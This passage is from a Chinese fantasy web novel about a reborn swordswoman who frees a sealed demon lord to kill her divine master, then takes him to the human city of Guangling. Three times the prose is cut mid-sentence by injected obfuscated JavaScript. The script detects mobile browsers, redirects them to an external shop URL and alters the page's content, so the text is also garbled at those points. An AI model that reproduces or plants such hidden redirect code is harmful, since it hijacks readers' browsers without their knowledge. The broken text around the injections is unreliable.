远处一道蓝色流光闪来,“阿姐,没事吧?”少女悦耳的声音在空谷中回响。 白色的衣裙翻飞,像一只洁白的蝴蝶扑闪扑闪来到她面前,林知逸皱了皱,她一直记得阿浅不喜欢这么素净的颜色啊,但她没有多想。 季疏浅伸手握住她的左手,倒吸一口凉气,“怎么弄成这样?” 林知意笑了笑说道:“没事。”,又抬起右手在她面前晃了晃。季疏浅不确定地开口:“冰灵镯?” 林知意沉默地盯了她两秒,猛地将玄冰剑朝她心口刺去,但对方反应比它更快,“季疏浅”轻盈地侧身避开,反手一掌拍在她胸口。 林知意闷哼了一声,正准备一个闪身避开,奈何浑身的真气都被束缚住。“季疏浅”发出了银铃般的笑声。一只涂着红色丹蔻,指甲锋利的手一把掐住了她的脖子,林知意唇角缓缓流下一道鲜红的血。 “真是不自量力啊,你还算有点聪明,居然发现了。”季疏浅缓缓偏了偏头,似笑非笑地看着她。 “不过啊,本来打算悄悄取了你的内丹再把你这样貌剥下来。现在我换主意了,我打算活剥了你,有点痛哦小可爱。”说着她左手缓缓幻化出一把匕首。 林知意悄悄观察着四周,九尾妖狐有极强的幻形能力,她从“季疏浅”刚出现就觉得有些不对劲,直到她故意晃了晃手上的冰灵镯试探她的反应。 换做是真的阿浅估计会气鼓鼓的说道:“上官楹,怎么又是她!”可这个假的季疏浅的表现太拙劣了。 四周渐渐漫上了层层黑雾,狐妖若有所查,掐着她脖子的手松了松,冲她怒道:“你别耍花样!” 林知意没有搭理她,感受到了浓浓的妖气,她心中一惊,这一切都和预想不太一样,苍野原极少有妖群活动。 季疏浅一边以最快的速度御着剑,一边在脑海中捋了捋思路。她以前从不信天道会注定每个人的结局,可前世她在一本上古神书上见到了记载,每个人的一生的每个时刻皆由天道注定。 倘若阿姐是天命定下会以这种结局收场,那怎会偏离了前世的时刻,却又一模一样地发生了。 想着想着,季疏浅突然后背发凉,她依稀记得,神书上记载:“人命天定,唯有神有改天命之力……” 神有改天命之力……世人皆知神族在一千多年前的神魔大战中尽数灭亡,消身匿迹。 但季疏浅清楚的记得前世的五年后,也就是她死的前夕,她在一个人的额心见到了闪着金色星芒的神印——她的师父容与上神。 季疏浅像溺水了一般无助的下沉,难怪,难怪他让别人尊称他为上神,起初她只以为是这名字更衬他身份尊贵。 可他为何要对阿姐下手,明明阿姐是他的第二位亲传弟子,他还会亲切地唤阿姐为“林二”。 突然眼前蒙上了层层黑雾,她明白她现在已经进入苍野原了。 她闭上眼感受了一下苍野原的气息,发现几乎所有妖气都流向了一个方向,她松了松紧皱的眉头朝那个方向御剑飞去。 狐妖瞧着眼前黑压压涌上来的,双手一挥改掉了伪装,长相妖艳侬丽的女子轻蔑地一笑:“你们也敢和我抢,我看上的东西还没有拿不到手的。” 林知意愈发觉得不对劲,大部分的妖族都能和人和平相处,除了极少数以人为食的妖族。可眼前的妖族,大部分都是常见的妖,甚至连草木妖都有,但他们齐刷刷的朝她而来,像是受了什么指令,直取她的性命。 狐妖渐渐落入下风,她突然发现一些以往在她看来不足以塞牙缝的小妖居然能在自己细嫩的手臂上划出一道骇人的口子。 狐妖狭长的眼眸渐渐染成一片血红,她轻哼一声,化出九条火红的巨大尾巴,扇开了涌上来的小妖。 突然虚空中一道冽风划过,一道金色身影越过她直直朝她身后的林知意扑去。 4. 苍野原的真相 林知意还没反应过来,就觉得一阵刺痛,一只通体金黄的豹妖压在她身上。她下意识用右手肘死死护在胸口。 豹妖张着长满尖牙的血盆大口,呼出的气体夹杂着丝丝血腥气,豹子双眼通红,伸出的舌头滴答滴答落着血,它猛的抬起头准备朝着林知意的脖子咬去。 间不容发之际,天空响起道道惊雷,豹妖被吸引了注意力,磨了磨锋利的牙齿,朝天空望去。 刹那间,一道绚丽的银色划破层层黑雾,划出一道漂亮的弧线,豹妖察觉到立马蹦上一侧崖壁。 剑锋突转,剑气在峰林中纵横,光华流转,万千把虚华的分影急雨般落下,妖群瞬间幻成原形,痛苦哀嚎。 林知意看着虚华浅浅地笑了笑,“阿姐,没事吧?”少女焦灼的声音染上了两分哭腔,一身淡粉衣裙的少女闪身将她扶起来。 季疏浅舒出一口长气,幸好,幸好她来得及时。 但一低头她就看见了林知意缠着白色裙边的左臂,隐约有鲜血渗出。 “阿姐你手怎么了,我看看。” 季疏浅正准备捧起阿姐的手看看,她突然察觉到崖壁上的浓浓杀气,转头一看,愣住了。 刚刚来的匆忙只顾着救下阿姐,都没细看那只怪物,现在一看,季疏浅一惊,这不是师父养的金钱豹吗,种种猜想连在一起,季疏浅垂下的眼眸冷意更加一分。 星霜殿中,长长白衣曳地,墨发如瀑般垂下的男子静静地盯着手中的一方虚影,神色如常默了一瞬,半晌开口道:“绝尘,回来吧。”话毕,他盯着那道粉色身影看了片刻,神色不明。 季疏浅正有些不可置信的握着虚华,有种想冲上去活剖了豹子的内丹的冲动,突然金钱豹一跃消失在了虚空。 见状,季疏浅也没打算追它,朝着面前双眼通红的狐妖微微抬了抬下巴道:“我是该谢谢你救了我阿姐一命,不过,你应该也打着什么算盘吧。” 自刚刚季疏浅突然出现,狐妖就感受到了一阵格外熟悉的剑气,尤其是女子的剑招,给它一种似曾相识的感觉,而且她在潜意识里格外害怕这一招。 一听到季疏浅幽幽的语气,她浑身一颤,立马做出乖觉的样子,将一双媚眼瞪得大大的,软软地开口:“我就是路见不平想拔刀相助,您误会我了。” 季疏浅嗤笑了一下,还真是只会见风使舵的狐妖,不过她绝不是良善之人。遂将虚华一转。 一只冰凉的手握住了她手腕,季疏浅看向林知意,林知意缓缓开口:“算了吧,总归她也没伤我,还帮了我好一会。况且你还要抓她回去交差呢。” 季疏浅转念一想,也是,她既然想要查他师父背后的目的,就还需要维持这表面上的平静,现在撕破脸面绝不是好时机。 她眸光一转,施了个小法术解开了冰灵镯,然后将冰灵镯往狐妖手上一套。 “你干什么呀?” 狐妖娇嗔道,还故意做出一副皱眉惹人怜爱的表情。 “不杀你,但你跟我阿姐回去。”季疏浅淡淡开口道。 “你想回去杀我是不是,你们这些道貌傲然的人,哼。” “我和阿姐从不食言。”季疏浅知道阿姐看似冷冰冰的杀伐果断,实则不愿意杀每一个没有碰到她底线的生灵,话锋一转道:“阿姐,你和她先回去,我还有点事。” 林知意有些担心的开口:“阿浅,我也觉得今天的事有些古怪,你别一个人去查,恐怕有危险。” 阿姐猜到了一些,季疏浅并不意外,只是她想,前世的阿姐是不是在死的时候很无助,孤立无援,一身引以为傲的剑术却救不了自己…… 默了一瞬,季疏浅从袖中拿出两个传送符咒,往空中一抛,淡淡的柔和的荧光罩住了阿姐和狐妖。 季疏浅看着林知意叮嘱道:“阿姐回去一定好好疗伤,先去南昊师叔那里住一会儿,防着上官楹有什么动作。” 狐妖略有些无语的看着她们俩,开始回忆季疏浅身上的熟悉感到底是什么,可惜她活得太久了,久到大部分的记忆都像流水一样不经意间流失了。 看着她们俩离开后,季疏浅驻足在这一片黑色崖壁上掠过视线,没有上一世那样可以留下的模仿的打斗痕迹。上官楹和上官逸在这件事里扮演了什么样的角色呢? 绝尘是她师父的手笔毫无疑问,绝尘只听她师父的指令,是容与的一把利刃,可以毫不留情的撕碎一个修为大成的修仙者的胸膛。 想到这里,季疏浅无比庆幸自己来的刚刚好,再晚一步的话,她没有勇气去想象那个画面。 容与要杀她阿姐,这是为何?甚至上一世,他一手推着自己去死,为什么?季疏浅想不明白。 但她现在可以确定的是,容与绝非他表面看起来那般温润,那般与世无争,她上一世被他蒙蔽了一世。 而上官父女敌意昭然,比起容与这种深藏不露的手段,他们显得太蠢了,对付他们很容易,她一人足矣,但是容与······ 想到这里她深深叹了口气,容与是神,纵使她手握神剑虚华,但最多只能重创他。人杀不了神,能杀掉神的只有神。 季疏浅无力地靠在一处崖壁上,身体软软地滑下,难道她没有丝毫办法吗,她现在对容与到底要干什么一无所知,上一世自己对他的了解太少了,相反他对自己简直了如指掌。 甚至他要是想杀自己,自己无处可逃。 一筹莫展之时,季疏浅灵光一现,千年前的神族尽数覆灭,始作俑者不是还被封在弑神海吗。她怎么忘了魔尊宁樾凭一人之力便屠尽了昔日风光无限,三界为尊的神族。 但想法也仅仅只是想想,季疏浅无奈的叹了口气,她怎么可能真的敢把魔尊放出来,且不说她有没有那个能力,她也没有那个胆量啊。 容与想做什么她不清楚,但就已知的来看,他应该是威胁不到三界洲的。 但宁樾不同,各种史书传记里写的宁樾就是个彻头彻尾的疯子,万一放出来就要拉着三界洲毁灭呢,想到这里季疏浅打了个寒颤,这个后果她担不起。 眼前猛地闪过一些画面,是她前世领着靖和军和修罗浴血奋战的种种,是将士们用血肉之躯筑起人墙给人界百姓争取撤离时间,是在槐江山靖和军两千将士拼死守住大阵的种种,是元日将至,有几个小将士和她拉家常说起亲人时眼底泛着的泪花…… 凭什么,他容与为了一己私欲逼着他们上绝路,为什么他要高高在上主宰他人生死。 季疏浅猛的起身,泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746877|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水湿润了眼眶,她使劲握了握虚华坚定了决心,御剑飞向弑神海。 沉沉的黑云压在上空,一道道幽暗的闪电轰鸣,墨色的海面平静如常。 一千多年以来,没有人敢涉足这片海域,自然无人知道这海面下究竟是何样。 季疏浅深深吸了一口气,沉入海底。 弑神海虽取名叫海,但季疏浅睁眼时发现自己到了一座巨大的石桥之上。 她观察了一下四周,发现这里似乎像……一座人造的牢狱。 此时她立于石桥之上,石桥桥面宽阔,她试探性地往边缘看了看,烧得滚烫的岩浆有些刺眼,连着石桥上也有诡异的火焰纹路。 她再沿着石桥向前走,一股刺鼻的腐臭味扑鼻而来,面前赫然立着一道弥漫着黑气布满裂纹的封印。 封印挡住了后面的景象,季疏浅犹豫了一瞬,紧握剑柄,将真气凝聚在剑尖。 长剑猛然挥出一道凌厉的剑气,本就布满裂纹的封印毫无抵挡之力,霎时碎裂,她犹豫了一下向前步去,又用法力凝出一道水蓝色的结界隔绝外界。 黑雾散去,眼前渐渐清晰,所见满目皆是残肢断臂,一些已然化为累累白骨,而一些血肉尚未完全腐烂,黏在骨头上,发出阵阵恶臭。 季疏浅忍住干呕,屏住呼吸,单手捉裙向前方隐隐有红光的地方步去。 突然她停住了脚步,前方似有黑压压的一片朝一个方向涌上,季疏浅定睛看了看,表情瞬间凝固。 她再熟悉不过了,是恶鬼。 这里怎会有恶鬼呢?不是都被封印在槐江山吗? 她强迫自己镇定下来,仔细观察了下前方,那些恶鬼对她的到来恍若未闻,都像一个方向涌去,正是那隐隐红光的中心。 季疏浅看了看地上的残骸,难道说这些都是恶鬼?她摁下心中的恶心,仔细看了看,这些恶鬼死状惨烈,像是被什么东西撕碎了,随意扔在地上。 难道说这里另有其人,还是说那魔王被封印后仍有如此强大的力量? 她看着那涌去的恶鬼,估摸了一下以自己的实力和他们抗衡的可能性,觉得可以试一试,她握紧虚华向前闪去。 靠近后虽有准备,但季疏浅还是被黑压压的恶鬼吓了一跳,前世死前种种一时让她喘不过气。 突然一道极为强悍的力量猛然绽开,靠近红光中心的恶鬼瞬间四分五裂,碎了一地,季疏浅那件抵挡在身前,也被波动向后退了一步。 她心中隐隐有了猜测,那红光中心应该就是魔尊宁樾被封印的地方了。 一片片恶鬼被震开,她才看清了眼前景象,一座石头雕砌的高台立于眼前,约莫有五十步梯子,高台之上隐隐有红光亮着。 一些恶鬼看到了季疏浅,季疏浅正准备拿剑应付,却发现他们仍朝高台奔去,颇有种英勇就义的风范,仿佛高台上封印之物的吸引里远大于季疏浅。 见状,季疏浅将虚华一侧,长剑一抖,剑光疾起,凌空挽了个剑花,劈开了涌上前的恶鬼。 随即她三阶并作一阶,飞身上前,右手执剑一挥设下结界,拦住了潮水般涌上来的恶鬼。 感觉到一阵扑面而来的灼热,季疏浅稳稳立住,睁开眼看到眼前景象后,呆住了。 5. 初遇 高台之上,一道道岩浆汇聚,燃起刺目又灼热的烈火,正是那红光的真面目。 季疏浅愣了愣,有些不可思议的看着眼前,熊熊烈火中,一个鲜血淋漓的身影隐隐绰绰。 那道身影,双手被两根极粗的铁链捆住,铁链缠在高台上的两根立柱上,而双腿被一根极粗的铁链束住,动弹不得。 季疏浅怔了怔,她其实没想到那个传说中的大魔王看起来居然这么惨。 她准备近身看看,刚靠近一步,烈火的灼烧将她瞬间逼退一步,她才恍然意识到,这不是一般的烈火,而是传说中的幽冥火。 传说中这种火存在于凡人投胎的黄泉路上,渡过幽冥火,今生种种便烟消云散。 普通人碰上或许顷刻灰飞烟灭,季疏浅微微蹙起眉,有些难为情。 她转念一想,以前在修行时,师父曾说她于冰系法术上很有造诣,所以她一直双修剑法两术,季疏浅想到,或许冰能压制一会儿火呢。 她运转灵力,手心翻转,淡淡的蓝光晕开,瞬间,张牙舞爪的幽冥火乖乖的像两旁散去,在中间让开了一条道路。 季疏浅有些惊讶,她也没想到自己只是抱着试一试的想法,居然真的奏效了。 烈火退去,她终于看清了眼前人的模样,他穿着一席黑色衣袍,幽冥火似乎对他黑色衣袍没有影响,只是上半身的衣袍被恶鬼撕的粉碎,只余下模糊的血肉。 他的脸被幽冥火烧得面目全非,血迹斑斑,但依稀能看出五官十分深邃。 季疏浅默默地想着,骨相倒是不错…… 她走到了他的面前,对方似乎若有所感,猛地睁开了漆黑的眼瞳,季疏浅吓得往后一退。 宁樾被囚在弑神海一千多年了,有人故意将恶鬼引至此处,而他蕴藏深厚灵力的内丹,在恶鬼眼里简直是人间珍馐。 恶鬼蜂拥而上,一千年内,他已经不记得自己的内丹多少次被剖出,多少次被分食,奈何每一次内丹被剖出后又会长出来,日复一日,年复一年。 幽冥火的灼烧让他的浑身筋脉一次次碎裂,却又一次次痊愈,偏偏是清醒着痛…… 不知过了多少个日夜,今日和往常一样,黑压压的恶鬼前来分食他的内丹,耗尽了刚恢复的一成神力后,宁樾察觉到了一丝与往日截然不同的气息。 一睁眼,便见到一身粉裙的少女执剑立在面前,忽略衣裙上星星点点的血迹,她与周围的一切格格不入。 少女似乎被他吓到了,像一只受惊的小兔子,猛地向后退一步,带着些打量地神情踌躇着开口:“……你……疼吗?” 宁樾:“……?”一瞬间,他以为自己听错了。 季疏浅见他没有回答自己,在心里默默道:你还怪高冷的嘞。 于是她想着再怎么气势不能输,将刚刚受惊的神情一瞬间收起,摆出一副正经的样子,冷冷地开口:“我想和你做一桩交易。” 宁樾微微低下头看了看她,少女和上一秒截然不同,仿佛瞬间换了个人,他在心里冷笑一声,人类,果然装模作样。 他正准备开口道,突然发现千年没说话,自己的嗓子沙哑地发不出像样的声音。 季疏浅看着面前的魔发出了一串含糊不清的声音,弯弯的眉毛扭成一个大大的川字。 突然一个极为低沉且沙哑的声音响起:“交易?” 季疏浅见他回答了,眼睛立马亮起,她本来还在盘算让一个伤成这样的魔写手语有多大的成功率,跟哑巴对话着实有点困难…… 她斟酌了一下说道:“我把你的封印解开,你帮我杀个神。” “神?”宁樾冷笑了一下,“早死完了。” 他不笑还好,配上这血淋淋的面孔,简直诡异。 季疏浅平复了一下,说道:“还有一个,叫容与。”季疏浅考虑到他极有可能早改名换姓了,准备回想一下他额头的神印,毕竟每个神都有独一无二的神印,这是他们身份的标志。 一道带着凉意的声音打断了她的思索,“他没死?倒是我小看他了。” 他们居然有认识,而且容与居然就是他的真名?季疏浅在心中惊了一下。她慢慢开口道:“我帮你解开封印,你帮我杀了他。” 酝酿了一下,她补充了一条:“你得答应我,出去后你不许滥杀无辜,其他的我都不会妨碍你。” 宁樾盯着她沉默了半晌,饶有兴致的开口:“你能解开我就答应你。” 他打心里不相信这个小姑娘能解开这封印,他在心中冷嘲一声,若是她能解开这玄铁打造的神链,他又何至于在这里困了千年…… 他这是答应了?季疏浅在心中暗喜,虽然她并没有相信他的承诺,不过听起来他和容与有过节,即使她不要求他杀他,估计他解了封印容与也不会活太久。 至于他嘛,季疏浅在刚刚来的一路上便想明白了,世人都知道他冷血是个不折不扣的杀人狂,明着坏总比阴着坏好……况且她倒是想了几个法子将他封印起来。 想到这里她一扬剑,剑锋一冷,凌厉的剑气猛地劈上铁链,铁链应声碎裂。 宁樾本准备看她失望却又无可奈何的神情的,“砰!”巨大的一声响起,接着便是哐,哐,哐连着几声什么东西猛地撞到地上的声音。 宁樾玩味的笑容瞬间消失,怔怔地盯着眼前轻轻揉了揉手心的少女,少女仰起头对他冷冷地说道:“好了,不许食言。” 他目光一凝,落在了少女的剑上……虚华? 少女见他没动静,伸手捏了捏他的手,侧着头有些心虚的开口:“我只说了帮你解开封印啊······你手上这两个手铐,我怕强行弄开会伤到你。戴着也就傻了一点,对你应该没什么影响吧。” 宁樾不知道在想什么,低低“嗯。”了一声。 季疏浅突然想到什么,指了指他上半身的伤问道:“你……没事吧?”言外之意,还能走出去吗。 宁樾不知有没有听到,侧过头瞥了她一眼,漆黑的瞳孔不知何时恢复了正常,总算没那么骇人了。 季疏浅还没明白他的意思,就见他轻轻一抬右手,一股力量涌出,在结界外想要争着进来的恶鬼瞬间溃不成军。 季疏浅有些沉默的看着面前横七竖八的恶鬼,挤出一个难看的笑容,呵呵两声“看来是没事了。” 就见宁樾闭着眼摊开了掌心,一声剑啸,一旁的岩浆中有什么东西一跃而出,,剑身通透的青色长剑落入他手中,燃着点点烈火。季疏浅张了张嘴,那是玄天剑——上古第一魔剑。 她怔怔盯着玄天剑时,在心中默默感慨这把剑太漂亮了,就听到冷冷的一声:“他在哪?” “啊?”季疏浅也不知道他这是打算就这样去杀他吗?真是行动派啊。 她有些尴尬的咳了咳:“不急吧,你要不先去换个衣服,再上点药,好歹也是个大魔王,就这样去······” 她话没说完,感到气氛有些诡异,宁樾周围的气压一瞬间冷了下来,她自觉的闭上了嘴把接下来的话咽了下去。 她咽了一下口水,拉了拉宁樾的袖子,不确定的开口:“饿了吧?先去吃点东西。” 真是个阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746878|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晴不定的性子,季疏浅悄悄地瘪了瘪嘴。 宁樾听到她的话,似乎觉得有些好笑,冷笑一声说:“本王最喜欢喝人血。”然后上下打量她一下。 季疏浅被这阴森森的目光看的浑身发冷,装作没听到的自顾自说道:“走了。” 御剑飞行的时候,季疏浅默默看了眼宁樾,总觉得他现在这浑身血淋淋的模样要是去人界估计会吓坏百姓,就盯着他好一会见他看都没看自己一眼,就施了个隐身术法在他身上。 见他还是做闭目养神的样子,长长舒了口气。 他们的目的地是人界,广陵城。 其实季疏浅带他来这里是有自己的私心的。 一是在人界他寻不到什么下属,季疏浅本想带他回魔界,但一想,到了魔界万一他反悔自己可就寡不敌众了。 二是……自八岁那年离家去天道山修行,她已经八年没有回过家了。 天道山最为严苛的规矩之一便是一夕上山,修行十年才可归家。前世她盼啊盼,终于到了十八岁那年归家时。 她提着各种各样的糕点,特地扎了两个蝴蝶髻,簪上了粉粉的绒花,还穿上了长长的曳地粉白色裙子。自她去天道山后,从来没有如此精心的打扮过,仿佛她不是八军统领,也只是寻常人家的娇俏小女儿。 等她满心欢喜地提着糕点来到广陵城季府时,猛地发现门前原来写着季府两字的牌匾早已换下,大门落上了锈迹斑斑的锁,一闭不复开,而葱绿青苔肆意生长。 那是一个初夏的清晨,她却觉得仿佛置身于冬雪地上。 她怀着最后一丝侥幸奔向了邻街,敲开了一处极为气派的府邸的大门——镇国大将军府,那是她父亲好友镇国大将军的府邸。 来开门的是个极其不耐烦的侍卫,季疏浅看着觉得眼生,盯着他匆匆开口:“您知道季府搬到哪里去了吗?就是大理寺少卿的那个……” 侍卫不耐烦的哧了一声,上下打量她两眼,打断了她:“你第一次来京城吧,季府一年前就死的差不多了,男丁当街抄斩了,女子都送去了教坊司现在估计没几个活着的。” “啪”的一声,印着千味斋的木盒落地,盒盖滑落,各种精致的糕点却完好无损,季疏浅用法力护了一路。 季疏浅漂亮的杏眼一时空洞,她默默立在那里,侍卫有些不耐烦敲了两眼反应奇怪的女子,正准备关上大门,女子一只手猛地拉住他手腕。 他一吃痛,准备甩开,却发现这个看似弱不禁风的女子力气格外的大,她就那么直愣愣的看着他,他忍不住打了个寒颤。 “你说……他们犯了什么事,为什么?”女子毫无感情的声音响起。 他有些毛骨悚然,连忙说:“还能犯什么事啊,你看这里本来是镇国公府,现在不也易主了。” 女子拉着他的手颤一下,松开了。她面无表情地说:“继续。” 侍卫连忙说:“镇国大将军通敌叛国,满门抄斩。那大理寺少卿徇私枉法,帮着他,被定为同罪。” 见女子站在原地没有下一步动作,他连忙抽身关上大门。 “通敌叛国……”季疏浅喃喃道,然后嘴角抽了抽笑了起来,有滚烫的东西滑落脸颊,然后滴答落下沾湿了石阶。 通敌叛国···镇国大将军苏骥她从小便认识,苏家满门忠烈,开国时立下汗马功劳,而她眼中的苏伯父也是忠心耿耿的大将军。 而她父亲,做事严谨,明察秋毫,决不愿判错一桩案件,宁可得罪权贵也要为平人申冤。 他们两家……怎么会通敌叛国? 6. 广陵城(一) 况且退一万步来说,季家有她在,罪不至死啊。 那年人族和妖魔两族关系岌岌可危,尤其是魔族中分裂出来的修罗族。人皇曾言,有在天道山修行弟子的家族可享无上荣誉比肩将相,且能得到一生的庇护……包括罪不至死。 八岁那年季疏浅因为天生灵根被天道山选中,季家成了唯二能享受此特权的家族,怎会呢? 季疏浅仍记得那天,她剑指龙椅上的昏晕君王时,君王语无伦次的说:“你,你,你看这名单上没有你。” 季疏浅接过那张盖着天道山印的信纸,目光掠过,上面赫然只记了一个人的名字,不是她。 她有些浑浑噩噩地去了月华殿,只记得一袭白衣浑身泛着柔和光芒的师父笑着问她:“小七,怎么回来了?见到你家人了吗?” 她冷笑了两声,一把扯住她的衣袖,沙哑着嗓子冲他喊道:“为什么呈给人皇的信上没有我?为什么我家被定罪满门抄斩的时候你们不告诉我?为什么?” 容与抬手摸上她的头,季疏浅侧身避开,容与有一瞬失神。随后他淡淡开口:“兴许核名处的长老弄错了,为师定会治他罪。” 季疏浅在心中冷笑,人界能选进来的统共两个人,况且她如今位居南峰主殿,这也能被弄错? 后来……修罗来犯,她没法分神来处理这件事,好像到最终就草草了事了……真相似乎也不重要,她也没来得及给家人立上衣冠冢。 定了定神,季疏浅深吸一口气,幸好重来一世,她能提前看看他们,也能改写这一世的结局…… 宁樾正闭目养神,感觉之前一直在打量自己的少女收回了目光没了动静,他慢慢睁开了眼,瞥了一眼少女。 却发现少女的眼眶微红,像是想到什么,神情不自觉间染上了痛苦,他看了看她收回了目光。 他不信这个少女会信任他。 交易或许是真,但他不信这个少女会任由自己留在这三界洲,毕竟,人人都想除他而后快。 夜色渐浓,皓月当空,星垂平野,远处夜市千灯,华灯初上照亮无尽黑夜。 季疏浅和宁樾在一处偏僻的小巷子里停住了剑,虽然人们对仙魔有所耳闻,但他们若真大摇大摆凭空出现在热闹街道上,估计还是会引起一阵小小的喧闹。 季疏浅默了一瞬,说道:“我们先找个客栈住下吧,你……上点药,我去给你买个像样点的衣服。” 我们?宁樾听到这词,微微皱了皱眉,迈腿跟上了少女。 突然前面的少女停下了脚步,季疏浅这才想起她现在身无分文,更不可能指望这“衣衫褴褛”的大魔头有钱了。 但她迟疑了一瞬,不抱希望的开口:“你……有铜板吗?” 宁樾反应过来她什么意思,他依稀记得,千年前他在人界小住的一段时间里,好像这里的人都要用铜板,银元来买东西。 要不回家?一个念头在季疏浅心里飞快掠过。不行不行,季疏浅又在心里默默否决了这个想法。 以容与的监视程度,估计她前脚迈进家门,后脚就被容与抓回去了。 况且她爹爹一向记忆力好,发现银元少了还要闹场误会。 她正准备伸手把束发的那根白玉簪子取下来时,面前一直默不作声的宁樾抬手扔了一个黑漆漆的东西过来。 季疏浅接住然后不确定地问道:“嗯?” “当了吧。”宁樾平静地开口,语调毫无波澜。 季疏浅低头看了看那块黑漆漆的东西,是一个黑玉扳指,扳指用金线描边,中间镶了一块紫色晶石,看起来就价值不菲。 出手还挺阔绰,他也真舍得。季疏浅在心里默默想到。 穿过这条偏僻小巷,便来到一条人声鼎沸的街道,叫卖声,谈笑声此起彼伏。 红灯高悬,热闹异常,街道两旁摊位林立,商品琳琅满目,应接不暇。 找到一家古玩店,季疏浅回头看了看,确定现在已经隐身的宁樾还跟在自己后面,抬脚迈了进去。 店家鼻梁上架着一副眼镜,头发花白,正仔细打量着攥在手中的玉杯。听到声音抬头看了看来客,是个看起来碧玉年华的小姑娘。 他满不在意的笑了笑,敷衍地开口:“小姑娘,我们这京城第一古玩店可不收寻常玩意儿。”这小姑娘衣着素净,一点儿不像京城权贵家的小姐,他不觉得他能拿出什么稀奇玩意。 季疏浅没有理他,径直走向柜台,把玉扳指放在桌上,淡淡开口:“这个收吗?” 老店家闻言瞥了一眼,就见那黑玉扳指的玉材上好,像这样的纯净的黑玉恐怕皇室也拿不出几块,他不由得扶了扶眼镜。 他细细的看了看玉扳指,一时无言,又抬头打量了一下少女,琢磨着该开什么价。 在她沉默的时候季疏浅传音给宁樾:“这个是不是很贵重,真的当了吗?”季疏浅虽不懂这些,但看那店家的反应,这应当是珍品了。 宁樾一直垂着眼不知道在想什么,闻言冷冷地说:“当就当了,别废话。” 季疏浅默了默,其实宁樾现在的态度比她预想的简直好太多了。 她在心里盘算了一下这几天的开销,想着顺带宰他一把,幽幽开口:“一百两,这可是传家宝。”然后有些心虚的瞥了一眼身后的空气。 宁樾听到传家宝三个字时,漫不经心的抬了抬眼皮,看了她一眼没说话。 “好啊,我以前都没遇到过您这么爽快的客人。”店家笑得格外开心,眉眼间的皱纹都藏不住浓浓的笑意。 见到他的反应,季疏浅心中疑惑,她明明已经开了个够离谱的价了啊,他怎么看起来这么开心,难道报低了? 想到这,季疏浅有些惭愧,心想以后回天道山了还是再找点什么给他赎回来。 现在不愁没钱了,季疏浅有了一丝逛街的惬意,这还是这么多年来第一次在市井漫步。 季疏浅看着眼前灯火辉煌的街道,她有些失神,这应该就是齐国鼎盛的时候了。上一世,两年后先皇驾崩,昏君继位,苛捐杂税,民生凋敝,再不复今日之繁华。 果然,人间的权力更迭便是如此,没有什么天长地久。 她突然转头看了看宁樾,魔界强者为尊,哪怕他被封印千年,魔族依然视他为主,好像这千年···魔界都没有新王继位。 走到一家看起来不错的客栈,季疏浅走进前院对柜台上的掌柜说道:“两间房。”那掌柜连忙赔笑道:“哎呀姑娘,今日巧也不巧,只剩下一间房了。” 季疏浅犹豫了一下,转身离去,“诶诶诶,姑娘慢着。明日可是中元节,恐怕满城客栈都快住满了。” 中元节?她隐约记得小时候,每到中元节,广陵城中的汴河会放河灯,岸上都是人挤着人。 犹豫了一瞬,她觉得掌柜说的在理。而且……他们俩应该都不需要睡觉,就当个落脚之地了。 他要是实在在意,大不了她到屋檐过一晚也行。 默了一瞬,季疏浅点了点头道:“那就一间吧。” 宁樾有些诧异地盯了她一眼,不是说人界女子最重名声吗。 到了客房季疏浅撤掉了宁樾身上的术法,顿了一下说道:“你先疗伤,我去买套衣服来。”然后突然想到什么,嘴角挂起一抹笑容。 宁樾正盯着眼前的少女突然笑起来,就听到甜美的女声响起:“你伤还没好,我还是设个结界来保护你吧。” 话音刚落,就见到面前出现了一层淡蓝色结界,宁樾:“……” 刚踏出门,季疏浅脸上的笑容瞬间消失,她可不能让那个魔头跑了。 在街上找一处成衣店不难,刚进店,店小二十分热情的上来问道:“姑娘挑些什么,我们这边有新款,都是上好的料子,京城找不出第二家了……” 季疏浅看到后边的男子衣袍,忽略了店小二的推销径直走过去。店铺很大,季疏浅突然看到立于一排锦袍前的男子,男子穿着墨绿色锦袍,头发用琥珀色的发冠高高束起,身旁立着一个侍卫,男子匆匆挑了两件衣袍就转身离去。 或许是哪家公子吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746879|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,季疏浅收回目光,她觉得此人的身形给她一种莫名熟悉的感觉,但总归和她没有关系了。 季疏浅挑了一件墨色缎子衣袍,一件深蓝色阔袖袍,犹豫片刻再挑了一件月白锦袍。 说到底用的是他的钱,还是不能亏待了……季疏浅又给他挑了几个束发的发冠,转身在女子衣裙处给自己随意选了两件。 季疏浅走后,宁樾给自己施了个净身术,又叫店小二送了一桶水来。 